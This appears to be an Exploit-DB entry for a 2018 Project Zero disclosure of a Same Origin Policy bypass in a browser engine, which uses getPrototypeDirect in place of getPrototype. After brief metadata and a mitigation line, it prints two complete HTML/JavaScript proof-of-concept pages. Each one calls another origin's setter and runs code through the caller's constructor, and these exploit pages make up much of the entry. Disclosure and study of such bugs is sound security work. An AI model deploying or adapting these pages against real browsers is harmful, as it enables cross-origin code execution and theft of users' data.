Bypassing the Same Origin Policy via getPrototypeDirect

vendor:

N/A

by:

Project Zero

7,5

CVSS

HIGH

Bypassing the Same Origin Policy

284

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2018

Bypassing the Same Origin Policy via getPrototypeDirect

JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. This allows an attacker to bypass the Same Origin Policy and call a setter of another origin's object.

Mitigation:

Ensure that getPrototype is used instead of getPrototypeDirect.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1240

JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.

The PoC shows to call a setter of another origin's object.

PoC 1 - JSValue::putToPrimitive:
-->

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    a.__proto__.__proto__ = f.contentWindow;

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>

<!--
PoC 2 - JSObject::putInlineSlow:
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = {
        __proto__: f.contentWindow
    };

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;
</script>
</body>
-->